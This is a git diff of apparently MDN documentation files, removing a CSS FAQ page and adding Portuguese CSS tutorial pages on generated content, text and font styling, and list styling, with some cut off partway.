It is generally recommended to use classes as much as possible, and to use ids only when absolutely necessary for specific uses (like to connect label and form elements or for styling elements that must be semantically unique):

+ + + +
+

Note: See Selectors for more information.

+
+ +

How do I restore the default value of a property?

+ +

Initially CSS didn't provide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property. For example:

+ +
/* Heading default color is black */
+h1 { color: red; }
+h1 { color: black; }
+ +

This has changed with CSS 2; the keyword initial is now a valid value for a CSS property. It resets it to its default value, which is defined in the CSS specification of the given property.

+ +
/* Heading default color is black */
+h1 { color: red; }
+h1 { color: initial; }
+ +

How do I derive one style from another?

+ +

CSS does not exactly allow one style to be defined in terms of another. (See Eric Meyer's note about the Working Group's stance). However, assigning multiple classes to a single element can provide the same effect, and CSS Variables now provide a way to define style information in one place that can be reused in multiple places.

+ +

How do I assign multiple classes to an element?

+ +

HTML elements can be assigned multiple classes by listing the classes in the class attribute, with a blank space to separate them.

+ +
<style type="text/css">
+.news { background: black; color: white; }
+.today { font-weight: bold; }
+</style>
+
+<div class="news today">
+... content of today's news ...
+</div>
+
+ +

If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the class attribute is not relevant.

+ +

Why don't my style rules work properly?

+ +

Style rules that are syntactically correct may not apply in certain situations. You can use DOM Inspector's CSS Style Rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.

+ +

HTML elements hierarchy

+ +

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

+ +
.news { color: black; }
+.corpName { font-weight: bold; color: red; }
+
+<!-- news item text is black, but corporate name is red and in bold -->
+<div class="news">
+   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
+</div>
+
+ +

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

+ +

Explicitly re-defined style rule

+ +

In CSS stylesheets, order is important. If you define a rule and then you re-define the same rule, the last definition is used.

+ +
#stockTicker { font-weight: bold; }
+.stockSymbol { color: red; }
+/*  other rules             */
+/*  other rules             */
+/*  other rules             */
+.stockSymbol { font-weight: normal; }
+
+<!-- most text is in bold, except "GE", which is red and not bold -->
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.

+ +

Use of a shorthand property

+ +

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to their default values. This means that a previous rule for a single attribute could be implicitly overridden.

+ +
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
+.stockSymbol { font: 14px Arial; color: red; }
+
+<div id="stockTicker">
+   NYS: <span class="stockSymbol">GE</span> +1.0 ...
+</div>
+
+ +

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

+ +
#stockTicker {
+   font-weight: bold;
+   font: 12px Verdana;  /* font-weight is now set to normal */
+}
+
+ +

Use of the * selector

+ +

The * wildcard selector refers to any element, and it has to be used with particular care.

+ +
body * { font-weight: normal; }
+#stockTicker { font: 12px Verdana; }
+.corpName { font-weight: bold; }
+.stockUp { color: red; }
+
+<div id="section">
+   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
+</div>
+
+ +

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

+ +

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

+ +

Specificity in CSS

+ +

When multiple rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) has the highest specificity and will override any selectors, followed by ID selectors, then class selectors, and eventually element selectors. The text color of the below {{htmlelement("div")}} will therefore be red.

+ +
div { color: black; }
+#orange { color: orange; }
+.green { color: green; }
+
+<div id="orange" class="green" style="color: red;">This is red</div>
+
+ +

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3.

+ +

What do the -moz-*, -ms-*, -webkit-*, -o-* and -khtml-* properties do?

+ +

These properties, called prefixed properties, are extensions to the CSS standard. They allow use of experimental and non-standard features in browsers without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

+ +

The use of such properties on production websites is not recommended — they have already created a huge web compatibility mess. For example, many developers only using the -webkit- prefixed version of a property when the non-prefixed version is supported across all browsers meant that a feature relying on that property would break in non-webkit-based browsers, completely needlessly. This problem got so bad that other browsers started to implement -webkit- prefixed aliases to improve web compatibility, as specified in the Compatibility Living Standard.

+ +

In fact most browsers now do not use CSS prefixes when implementing experimental features, insteading implementing those features only on Nightly browser versions or similar.

+ +

If you need to use prefixes in your work, you are advised to write your code in a way that uses the prefixed versions first, but then includes a non-prefixed standard version afterwards so it can automatically override the prefixed versions where supported. For example:

+ +
-ms-transform: rotate(90deg);
+-webkit-transform: rotate(90deg);
+transform: rotate(90deg);
+ +
+

Note: For more information on dealing with prefixed properties, see Handling common HTML and CSS problems — Handling CSS prefixes from our Cross-browser testing module.

+
+ +
+

Note: See the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

+
+ +

How does z-index relate to positioning?

+ +

The z-index property specifies the stack order of elements.

+ +

An element with a higher z-index/stack order is always rendered in front of an element with a lower z-index/stack order on the screen. Z-index will only work on elements that have a specified position (position:absolute, position:relative, or position:fixed).

+ +
+

Nota: For more information, see our Positioning learning article, and in particular the Introducing z-index section.

+
diff --git a/files/pt-pt/learn/css/howto/faq_de_css/index.html b/files/pt-pt/learn/css/howto/faq_de_css/index.html deleted file mode 100644 index 357e271657..0000000000 --- a/files/pt-pt/learn/css/howto/faq_de_css/index.html +++ /dev/null @@ -1,229 +0,0 @@ ---- -title: Perguntas Frequentes sobre CSS -slug: Learn/CSS/Howto/FAQ_de_CSS -tags: - - CSS - - Exemplo - - FAQ - - Guía - - Web - - questões -translation_of: Learn/CSS/Howto/CSS_FAQ ---- -

Why doesn't my CSS, which is valid, render correctly?

- -

Browsers use the DOCTYPE declaration to choose whether to show the document using a mode that is more compatible  with Web standards or with old browser bugs. Using a correct and modern DOCTYPE declaration at the start of your HTML will improve browser standards compliance.

- -

Modern browsers have two main rendering modes:

- - - -

Gecko-based browsers, have a third Almost Standards Mode that has only a few minor quirks.

- -

This is a list of the most commonly used DOCTYPE declarations that will trigger Standards or Almost Standards mode:

- -
<!DOCTYPE html> /* This is the HTML5 doctype. Given that each modern browser uses an HTML5
-                   parser, this is the recommended doctype */
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"
-"http://www.w3.org/TR/html4/loose.dtd">
-
-<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN"
-"http://www.w3.org/TR/html4/strict.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
-
-<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
-"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
-
- -

When at all possible, you should just use the HTML5 doctype.

- -

Why doesn't my CSS, which is valid, render at all?

- -

Here are some possible causes:

- - - -

What is the difference between id and class?

- -

HTML elements can have an id and/or class attribute. The id attribute assigns a name to the element it is applied to, and for valid markup, there can be only one element with that name. The class attribute assigns a class name to the element, and that name can be used on many elements within the page. CSS allows you to apply styles to particular id and/or class names.

- - - -

It is generally recommended to use classes as much as possible, and to use ids only when absolutely necessary for specific uses (like to connect label and form elements or for styling elements that must be semantically unique):

- - - -
-

Note: See Selectors for more information.

-
- -

How do I restore the default value of a property?

- -

Initially CSS didn't provide a "default" keyword and the only way to restore the default value of a property is to explicitly re-declare that property. For example:

- -
/* Heading default color is black */
-h1 { color: red; }
-h1 { color: black; }
- -

This has changed with CSS 2; the keyword initial is now a valid value for a CSS property. It resets it to its default value, which is defined in the CSS specification of the given property.

- -
/* Heading default color is black */
-h1 { color: red; }
-h1 { color: initial; }
- -

How do I derive one style from another?

- -

CSS does not exactly allow one style to be defined in terms of another. (See Eric Meyer's note about the Working Group's stance). However, assigning multiple classes to a single element can provide the same effect, and CSS Variables now provide a way to define style information in one place that can be reused in multiple places.

- -

How do I assign multiple classes to an element?

- -

HTML elements can be assigned multiple classes by listing the classes in the class attribute, with a blank space to separate them.

- -
<style type="text/css">
-.news { background: black; color: white; }
-.today { font-weight: bold; }
-</style>
-
-<div class="news today">
-... content of today's news ...
-</div>
-
- -

If the same property is declared in both rules, the conflict is resolved first through specificity, then according to the order of the CSS declarations. The order of classes in the class attribute is not relevant.

- -

Why don't my style rules work properly?

- -

Style rules that are syntactically correct may not apply in certain situations. You can use DOM Inspector's CSS Style Rules view to debug problems of this kind, but the most frequent instances of ignored style rules are listed below.

- -

HTML elements hierarchy

- -

The way CSS styles are applied to HTML elements depends also on the elements hierarchy. It is important to remember that a rule applied to a descendent overrides the style of the parent, in spite of any specificity or priority of CSS rules.

- -
.news { color: black; }
-.corpName { font-weight: bold; color: red; }
-
-<!-- news item text is black, but corporate name is red and in bold -->
-<div class="news">
-   (Reuters) <span class="corpName">General Electric</span> (GE.NYS) announced on Thursday...
-</div>
-
- -

In case of complex HTML hierarchies, if a rule seems to be ignored, check if the element is inside another element with a different style.

- -

Explicitly re-defined style rule

- -

In CSS stylesheets, order is important. If you define a rule and then you re-define the same rule, the last definition is used.

- -
#stockTicker { font-weight: bold; }
-.stockSymbol { color: red; }
-/*  other rules             */
-/*  other rules             */
-/*  other rules             */
-.stockSymbol { font-weight: normal; }
-
-<!-- most text is in bold, except "GE", which is red and not bold -->
-<div id="stockTicker">
-   NYS: <span class="stockSymbol">GE</span> +1.0 ...
-</div>
-
- -

To avoid this kind of error, try to define rules only once for a certain selector, and group all rules belonging to that selector.

- -

Use of a shorthand property

- -

Using shorthand properties for defining style rules is good because it uses a very compact syntax. Using shorthand with only some attributes is possible and correct, but it must be remembered that undeclared attributes are automatically reset to their default values. This means that a previous rule for a single attribute could be implicitly overridden.

- -
#stockTicker { font-size: 12px; font-family: Verdana; font-weight: bold; }
-.stockSymbol { font: 14px Arial; color: red; }
-
-<div id="stockTicker">
-   NYS: <span class="stockSymbol">GE</span> +1.0 ...
-</div>
-
- -

In the previous example the problem occurred on rules belonging to different elements, but it could happen also for the same element, because rule order is important.

- -
#stockTicker {
-   font-weight: bold;
-   font: 12px Verdana;  /* font-weight is now set to normal */
-}
-
- -

Use of the * selector

- -

The * wildcard selector refers to any element, and it has to be used with particular care.

- -
body * { font-weight: normal; }
-#stockTicker { font: 12px Verdana; }
-.corpName { font-weight: bold; }
-.stockUp { color: red; }
-
-<div id="section">
-   NYS: <span class="corpName"><span class="stockUp">GE</span></span> +1.0 ...
-</div>
-
- -

In this example the body * selector applies the rule to all elements inside body, at any hierarchy level, including the .stockUp class. So font-weight: bold; applied to the .corpName class is overridden by font-weight: normal; applied to all elements in the body.

- -

The use of the * selector should be minimized as it is a slow selector, especially when not used as the first element of a selector. Its use should be avoided as much as possible.

- -

Specificity in CSS

- -

When multiple rules apply to a certain element, the rule chosen depends on its style specificity. Inline style (in HTML style attributes) has the highest specificity and will override any selectors, followed by ID selectors, then class selectors, and eventually element selectors. The text color of the below {{htmlelement("div")}} will therefore be red.

- -
div { color: black; }
-#orange { color: orange; }
-.green { color: green; }
-
-<div id="orange" class="green" style="color: red;">This is red</div>
-
- -

The rules are more complicated when the selector has multiple parts. More detailed information about how selector specificity is calculated can be found in the CSS 2.1 Specification chapter 6.4.3.

- -

What do the -moz-*, -ms-*, -webkit-*, -o-* and -khtml-* properties do?

- -

These properties, called prefixed properties, are extensions to the CSS standard. They allow use of experimental and non-standard features in browsers without polluting the regular namespace, preventing future incompatibilities to arise when the standard is extended.

- -

The use of such properties on production websites is not recommended — they have already created a huge web compatibility mess. For example, many developers only using the -webkit- prefixed version of a property when the non-prefixed version is supported across all browsers meant that a feature relying on that property would break in non-webkit-based browsers, completely needlessly. This problem got so bad that other browsers started to implement -webkit- prefixed aliases to improve web compatibility, as specified in the Compatibility Living Standard.

- -

In fact most browsers now do not use CSS prefixes when implementing experimental features, insteading implementing those features only on Nightly browser versions or similar.

- -

If you need to use prefixes in your work, you are advised to write your code in a way that uses the prefixed versions first, but then includes a non-prefixed standard version afterwards so it can automatically override the prefixed versions where supported. For example:

- -
-ms-transform: rotate(90deg);
--webkit-transform: rotate(90deg);
-transform: rotate(90deg);
- -
-

Note: For more information on dealing with prefixed properties, see Handling common HTML and CSS problems — Handling CSS prefixes from our Cross-browser testing module.

-
- -
-

Note: See the Mozilla CSS Extensions page for more information on the Mozilla-prefixed CSS properties.

-
- -

How does z-index relate to positioning?

- -

The z-index property specifies the stack order of elements.

- -

An element with a higher z-index/stack order is always rendered in front of an element with a lower z-index/stack order on the screen. Z-index will only work on elements that have a specified position (position:absolute, position:relative, or position:fixed).

- -
-

Nota: For more information, see our Positioning learning article, and in particular the Introducing z-index section.

-
diff --git a/files/pt-pt/learn/css/howto/generated_content/index.html b/files/pt-pt/learn/css/howto/generated_content/index.html new file mode 100644 index 0000000000..523c408aad --- /dev/null +++ b/files/pt-pt/learn/css/howto/generated_content/index.html @@ -0,0 +1,188 @@ +--- +title: Conteúdo +slug: Web/CSS/Como_começar/Conteúdo +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Howto/Generated_content +--- +

{{ PreviousNext("CSS:Como começar:Cor", "CSS:Como começar:Listas") }}

+ +

Esta página descreve algumas maneiras que você pode usar no CSS para adicionar conteúdo quando um documento é exibido.

+ +

Você modifica sua folha de estilo para adicionar conteúdo de texto e uma imagem.

+ +

Informação: Conteúdo

+ +

Uma das vantagens importantes das CSS é que ele o ajuda a separar o estilo do documento do seu conteúdo. Mas há situações onde faz sentido especificar certo conteúdo como parte de sua folha de estilo, não como parte do seu documento.

+ +

O conteúdo especificado em uma folha de estilo pode consistir em texto ou imagens. Você especifica o conteúdo em sua folha de estilo quando o conteúdo tem uma ligação próxima à estrutura do documento.

+ + + + + + + + +
Mais detalhes
Especificar o conteúdo em uma folha de estilo pode causar complicações. Por exemplo, você pode ter versões diferentes da língua do seu documento que compartilham uma folha de estilo. Se parte da folha de estilo tem que ser traduzida, isto mostra que você precisa por estas partes da folha de estilo em arquivos separados e arrumá-los para então ligá-los com a versão apropriada da língua do seu documento. +

Estas complicações não surgem se o conteúdo que você especificou consistir em símbolos ou imagens que se aplicam em todas as línguas e culturas.

+ +


+ O conteúdo especificado em uma folha de estilo não se tornará parte do DOM.

+
+ +

Conteúdo do texto

+ +

CSS pode inserir um texto antes ou depois de um elemento. Para especificar isto, faça uma regra e adicione :before ou :after ao seletor. Na declaração, especifique a propriedade content com o conteúdo do texto como seu valor.

+ + + + + + + + +
Exemplo
Esta regra adiciona o texto Referência: antes de todo elemento com a classe ref: +
+
+.ref:before {
+  font-weight: bold;
+  color: navy;
+  content: "Referência: ";
+  }
+
+
+
+ + + + + + + + +
Mais detalhes
O caractere de configuração de uma folha de estilo é por padrão o UTF-8, mas isto pode ser especificado na ligação, na própria folha de estilo ou por outras maneiras. Para detalhes, veja 4.4 CSS style sheet representation na CSS Specification. +

Caracteres individuais podem às vezes ser especificados por um mecanismo de escape que use o contra barra (\) com o caráter de escape. Por exemplo, \265B é um símbolo do xadrez para a rainha preta ♛. Para detalhes, veja Referring to characters not represented in a character encoding e também Characters and case em CSS Specification.

+
+ +

Conteúdo da imagem

+ +

Para adicionar uma imagem antes ou depois de um elemento, você pode especificar a URL de um arquivo de imagem no valor da propriedade content.

+ + + + + + + + +
Exemplo
Esta regra adiciona um espaço e um ícone depois de cada ligação da classe glossary: +
+
+a.glossary:after {content: " " url("../images/glossary-icon.gif");}
+
+
+
+ +


+ Para adicionar uma imagem ao fundo de um elemento, especifique a URL de um arquivo de imagem no valor da propriedade background. Isto é uma propriedade que especifica a cor do fundo, a imagem, como a imagem repete, e alguns outros detalhes.

+ + + + + + + + +
Exemplo
Esta regra configura o fundo de um elemento específico, usando uma URL para especificar um arquivo de imagem. +

O seletor especifica o id do elemento. O valor no-repeat faz a imagem aparecer apenas uma vez:

+ +
+
+#sidebar-box {background: url("../images/sidebar-ground.png") no-repeat;}
+
+
+
+ + + + + + + + +
Mais detalhes
Para informações sobre propriedades individuais que afetam o fundo, e sobre outras opções que você pode especificar para as imagens de fundo, veja The background na CSS Specification.
+ +

Ação: Adicionando uma imagem de fundo

+ +

Esta imagem é um quadrado branco com uma linha azul em baixo. Baixe o arquivo desta imagem no mesmo diretório do seu arquivo CSS:

+ + + + + + + +
Image:Blue-rule.png
+ +

(Por exemplo, clique com o botão direito sobre isto para abrir o menu de contexto, então escolha Salvar Imagem Como... e especifique o diretório que você está usando para este tutorial.)

+ +

Edite o seu arquivo CSS e adicione esta regra ao corpo, configurando a imagem de fundo para a página inteira.

+ +
+
background: url("Blue-rule.png");
+
+
+ +

O valor repeat é o padrão, então isto não precisa ser especificado. A imagem é repetida horizontal e verticalmente, dando a aparência parecida com a de um papel de escrita com linhas:

+ +
+

Image:Blue-rule-ground.png

+ +
+
+

Cascading Style Sheets

+
+ +
+

Cascading Style Sheets

+
+
+
+ + + + + + + + +
Desafio
Baixe esta imagem: + + + + + + +
Image:Yellow-pin.png
+ +

Adicione uma regra à sua folha de estilo então isto mostrará a imagem no começo de cada linha:

+ +
+

Image:Blue-rule-ground.png

+ +
+
image:Yellow-pin.png Cascading Style Sheets
+ +
image:Yellow-pin.png Cascading Style Sheets
+
+
+
+ +

O que vem depois?

+ +

Uma maneira comum de adicionar conteúdo à folha de estilo é marcar os itens em listas. Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

A próxima página descreve como especificar o estilo para elementos de listas: Listas

+ +

{{ PreviousNext("CSS:Como começar:Cor", "CSS:Como começar:Listas") }}

diff --git a/files/pt-pt/learn/css/styling_text/fundamentals/index.html b/files/pt-pt/learn/css/styling_text/fundamentals/index.html new file mode 100644 index 0000000000..373688d00f --- /dev/null +++ b/files/pt-pt/learn/css/styling_text/fundamentals/index.html @@ -0,0 +1,158 @@ +--- +title: Estilos de texto +slug: Web/CSS/Como_começar/Estilos_de_texto +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Styling_text/Fundamentals +translation_of_original: Web/Guide/CSS/Getting_started/Text_styles +--- +

{{ PreviousNext("CSS:Como começar:CSS legível", "CSS:Como começar:Cor") }}

+ +

Esta página dá mais exemplos de estilos de texto.

+ +

Você modifica sua folha de estilo de amostra para usar diferentes fontes.

+ +

Informação: Estilos de texto

+ +

CSS tem várias propriedades para estilos de texto.

+ +

Há uma conveniente propriedade de abreviação de caracteres/palavras que facilitam a escrita, font, que você pode usar para especificar várias coisas de uma vez — por exemplo:

+ + + + + + + + + + +
Exemplo
+
+
+p {font: italic 75%/125% "Comic Sans MS", cursive;}
+
+
+ +

Esta regra coloca várias propriedades da fonte, fazendo todos os parágrafos em itálico.

+ +

O tamanho da fonte é três quartos (75%) do tamanho em cada elemento do paragrafo principal e a altura da linha é 125% (um pouco mais espaçada que o normal).

+ +

O tipo da fonte é Comic Sans MS, mas se a fonte não estiver disponível então o navegador usará sua fonte cursiva padrão (escrita a mão).

+ +

A regra tem o efeito colateral de desativar o negrito e as letras minúsculas (colocando-os no estilo normal)

+
+ +

Tipos de fonte

+ +

Você não pode predizer quais fontes os leitores do seu documento terão. Então quando você especifica tipos de fonte é uma boa idéia colocar uma lista de alternativas em ordem de preferência.

+ +

Acabe a lista com um dos tipos de fontes internas padrão: serif, sans-serif, cursive, fantasy ou monospace. (Algumas destas podem ser configuradas nas Opções do seu navegador.)

+ +

Se o tipo não for suportado por algumas características no documento, então o navegador pode substituí-lo por um tipo diferente. Por exemplo, o documento pode conter caracteres especiais que a fonte não suporte. Se o navegador puder encontrar outra fonte que tenha os caracteres, então ele usará a outra fonte.

+ +

Para especificar um tipo de fonte por conta própria, use a propriedade font-family.

+ +

Tamanho da fonte

+ +

Leitores que usam os navegadores Mozilla podem configurar o tamanho padrão das fontes em Opções, e mudar o tamanho do texto quando lêem uma página, isso a torna boa para você usá-la com tamanho relativos onde você puder.

+ +

Você pode usar alguns valores internos para o tamanho das fontes, como: small, medium e large. Você pode também usar valores relativos para o tamanho das fontes do elemento primário, como: smaller, larger, 150% ou 1.5em.

+ +

Se necessário você pode especificar um tamanho atual, como: 12px (12 pixels) para um instrumento de exibição ou 12pt (12 pontos) para uma impressora. Este tamanho é nominalmente a largura de uma letra m, mas fontes variam na maneira do tamanho, você vê relatos do tamanho que você especifica.

+ +

Para especificar um tamanho de fonte por conta própria, use a propriedade font-size.

+ +

Altura da linha

+ +

A altura da linha especifica o espaçamento entre linhas. Se seu documento tem longos parágrafos com muitas linhas, um espaçamento mais largo que o normal faz com que a leitura seja mais fácil, especialmente se o tamanho da fonte for pequeno.

+ +

Para especificar a altura da linha por conta própria, use a propriedade line-height.

+ +

Decoração

+ +

A propriedade separada text-decoration pode especificar outros estilos, como underline ou line-through. Você pode configurar isto para none removendo explicitamente qualquer decoração.

+ +

Outras propriedades

+ +

Para especificar itálico por conta própria, use font-style: italic;
+ Para especificar negrito por conta própria, use font-weight: bold;
+ Para especificar letras minúsculas por conta própria, use font-variant: small-caps;

+ +

Para tornar qualquer destes valores individualmente desativado, você pode especificar o valor normal ou inherit.

+ + + + + + + + +
Mais detalhes
Você pode especificar os estilos do texto em uma variedade de outras maneiras. +

Por exemplo, algumas propriedades mencionadas aqui têm outros valores que podem ser usados.

+ +

Em uma folha de estilo complexa, evite usar a propriedade de abreviação de caracteres/palavras que facilitam a escrita font, por causa de seus efeitos colaterais (o re-escolher de outras propriedades individuais).

+ +

Para maiores detalhes sobre as propriedades relacionadas às fontes, veja Fonts na especificação do CSS. Para maiores detalhes sobre decoração de textos, veja Text.

+
+ +

Ação: Especificando fontes

+ +

Para um documento de amostra, você pode escolher a fonte do elemento BODY e o resto do documento herda as configurações.

+ +

Edite seu arquivo CSS. Adicione esta regra para mudar a fonte completamente. O topo do arquivo CSS é um local lógico para isto, mas isto terá o mesmo efeito em qualquer lugar que for posicionado:

+ +
+
body {font: 16px "Comic Sans MS", cursive;}
+
+
+ +

Adicione um comentário à regra, e deixe um espaço em branco para fazer sua disposição preferido.

+ +

Atualize seu navegador para ver o efeito. Se o seu sistema tem Comic Sans MS, ou outra fonte cursiva que não suporta itálico, então seu navegador escolhe um tipo diferente de fonte para o texto em itálico na primeira linha:

+ + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+ +

Da barra de menu do seu navegador, escolha Exibir – Tamanho do Texto – Aumentar. Mesmo que o estilo especificado seja 16 pixels, um usuário lendo o documento pode mudar o tamanho.

+ + + + + + + + +
Desafio
Sem mudar mais nada, faça todas as seis letras iniciais duas vezes o tamanho na fonte serifada padrão do navegador: + + + + + + + + + +
Cascading Style Sheets
Cascading Style Sheets
+
+ +

O que vem depois?

+ +

Se você teve dificuldade para entender esta página, ou se você tem algum comentário sobre ela, por favor contribua nesta página de Discussão.

+ +

Seu documento de amostra está pronto para usar várias cores nomeadas. A próxima página lista os nomes das cores padrão e explica como você pode especificar outras: Cor

+ +

{{ PreviousNext("CSS:Como começar:CSS legível", "CSS:Como começar:Cor") }}

diff --git a/files/pt-pt/learn/css/styling_text/index.html b/files/pt-pt/learn/css/styling_text/index.html new file mode 100644 index 0000000000..5d00bc90c5 --- /dev/null +++ b/files/pt-pt/learn/css/styling_text/index.html @@ -0,0 +1,136 @@ +--- +title: Estilizar texto +slug: Learn/CSS/Estilo_de_texto +tags: + - CSS + - Hiperligações + - Principiante + - Texto + - Tipos de Letra + - letra + - lina + - listas + - modulo + - sombra + - tipo de letra + - tipos de letra da Web +translation_of: Learn/CSS/Styling_text +--- +
{{LearnSidebar}}
+ +

Com os conceitos básicos da linguagem CSS cobertos, o próximo tópico de CSS para se concentrar será o estilo de texto - uma das coisas mais comuns que irá fazer com CSS. Aqui, nós vamos ver os fundamentos do estilo de texto, incluindo a configuração do tipo de letra, negrito, itálico, espaçamento de linha e letra, sombras e outros recursos de texto. Nós completamos o módulo ao analisar a aplicação de tipos de letra personalizadas para a sua página, e listas de estilo e hiperligações.

+ +

Pré-requisitos

+ +

Before starting this module, you should already have basic familiarity with HTML, as discussed in the Introduction to HTML module, and be comfortable with CSS fundamentals, as discussed in Introduction to CSS.

+ +
+

Nota: If you are working on a computer/tablet/other device where you don't have the ability to create your own files, you could try out (most of) the code examples in an online coding program such as JSBin, CodePen or Thimble.

+
+ +

Guias

+ +

This module contains the following articles, which will teach you all of the essentials behind styling HTML text content.

+ +
+
Fundamental text and font styling
+
In this article we go through all the basics of text/font styling in detail, including setting font weight, family and style, font shorthand, text alignment and other effects, and line and letter spacing.
+
Styling lists
+
Lists behave like any other text for the most part, but there are some CSS properties specific to lists that you need to know about, and some best practices to consider. This article explains all.
+
Styling links
+
When styling links, it is important to understand how to make use of pseudo-classes to style link states effectively, and how to style links for use in common varied interface features such as navigation menus and tabs. We'll look at all these topics in this article.
+
Web fonts
+
Here we will explore web fonts in detail — these allow you to download custom fonts along with your web page, to allow for more varied, custom text styling.
+
+ +

Avaliações

+ +

The following assessments will test your understanding of the text styling techniques covered in the guides above.

+ +
+
Typesetting a community school homepage
+
In this assessment we'll test your understanding of styling text by getting you to style the text for a community school's homepage.
+
+ +
+ + + + + +
diff --git a/files/pt-pt/learn/css/styling_text/styling_lists/index.html b/files/pt-pt/learn/css/styling_text/styling_lists/index.html new file mode 100644 index 0000000000..cff2108b51 --- /dev/null +++ b/files/pt-pt/learn/css/styling_text/styling_lists/index.html @@ -0,0 +1,362 @@ +--- +title: Listas +slug: Web/CSS/Como_começar/Listas +tags: + - 'CSS:Como_começar' +translation_of: Learn/CSS/Styling_text/Styling_lists +translation_of_original: Web/Guide/CSS/Getting_started/Lists +--- +

{{ PreviousNext("CSS:Como começar:Conteúdo", "CSS:Como começar:Caixas") }}

+ +

Esta página descreve como você pode usar as CSS para especificar a aparência das listas.

+ +

Você cria um novo documento de amostra contendo listas, e uma nova folha de estilo que estiliza as listas.

+ +

Informação: Listas

+ +

Se você resolveu o desafio da última página (Conteúdo), então você viu como você pode adicionar conteúdo antes de qualquer elemento para mostrar isto como o item de uma lista.

+ +

CSS proporciona propriedades especiais que foram designadas para listas. Geralmente é mais conveniente usar estas propriedades sempre que você puder.

+ +

Para especificar o estilo para uma lista, use a propriedade list-style para especificar o tipo de marcador.

+ +

O seletor nas regras do seu CSS pode selecionar qualquer um dos elementos na sua lista de itens (por exemplo, LI), ou isto pode selecionar o elemento primário da lista (por exemplo, UL). Então os elementos da lista herdam o estilo.

+ +

Listas não ordenadas

+ +

Em uma lista não ordenada, cada item da lista é marcado da mesma maneira.

+ +

CSS tem três tipos de marcador. Aqui está como seu navegador os mostra:

+ + + +

Alternativamente, você pode especificar a URL de uma imagem.

+ + + + + + + + +
Exemplo
Estas regras especificam diferentes marcadores para diferentes classes de itens da lista: +
+
+li.open {list-style: circle;}
+li.closed {list-style: disc;}
+
+
+ +

Quando estas classes são usadas em uma lista, elas distinguem entre os itens aberto (open) e fechado (closed):

+ +
+
+<UL>
+  <LI class="open">Lorem ipsum</LI>
+  <LI class="closed">Dolor sit</LI>
+  <LI class="closed">Amet consectetuer</LI>
+  <LI class="open">Magna aliquam</LI>
+  <LI class="closed">Autem veleum</LI>
+</UL>
+
+
+ +

O resultado será parecido com:

+ + + + + + + +
+
    +
  • Lorem ipsum
  • +
  • Dolor sit
  • +
  • Amet consectetuer
  • +
  • Magna aliquam
  • +
  • Autem veleum
  • +
+
+
+ +

Listas ordenadas

+ +

Em uma lista ordenada, cada item da lista é marcado diferentemente para mostrar a posição em seqüência.

+ +

Use a propriedade list-style para especificar o tipo de marcador:

+ + + + + + + + + + +
Exemplo
Esta regra especifica os elementos OL com a classe info, os itens são identificados com letras maiúsculas. +
+
+ol.info {list-style: upper-latin;}
+
+
+ +

Os elementos LI na lista herdam este estilo:

+ + + + + + + +
+
    +
  • Lorem ipsum
  • +
  • Dolor sit
  • +
  • Amet consectetuer
  • +
  • Magna aliquam
  • +
  • Autem veleum
  • +
+
+
+ + + + + + + + +
Mais detalhes
A propriedade list-style é uma propriedade "abreviada". Em folhas de estilo complexas você pode preferir usar propriedades separadas para configurar valores separados. Para detalhes sobre estas propriedades separadas, e mais detalhes sobre como as CSS especificam listas, veja Lists na CSS Specification. +

Se você está usando a linguagem de marcação como o HTML que proporciona tags convecionais para listas não ordenadas (UL) e ordenadas (OL), então é bom praticar usando tags da maneira que foi explicado. Contudo, você pode usar as CSS para fazer UL mostrar ordenado e OL para mostrar não ordenado se você precisar.

+ +

Os navegadores diferem no modo como implementam os estilos das listas. Não espere que sua folha de estilo dê resultados idênticos em todos os navegadores.

+
+ +

Contadores

+ +
+

Note:  Alguns navegadores não suportam contadores.

+
+ +

Você pode usar contadores para numerar quaisquer elementos, não somente itens listados. Por exemplo, em alguns documentos você pode querer numerar cabeçalhos ou parágrafos.

+ +

Para especificar uma numeração, você precisa de um contador com um nome que você especifica.

+ +

Em alguns elementos antes da contagem começar, re-inicie o contador com a propriedade counter-reset e o nome do seu contador. O principal dos elementos que você estiver contando é um bom lugar para isto, mas você pode usar qualquer elemento que esteja antes da lista de itens.

+ +

Em cada elemento que o contador incrementar, use a propriedade counter-increment e o nome do seu contador.

+ +

Para mostrar seu contador, adicione :before ou :after ao seletor e use a propriedade content (como fez na página anterior, Conteúdo).

+ +

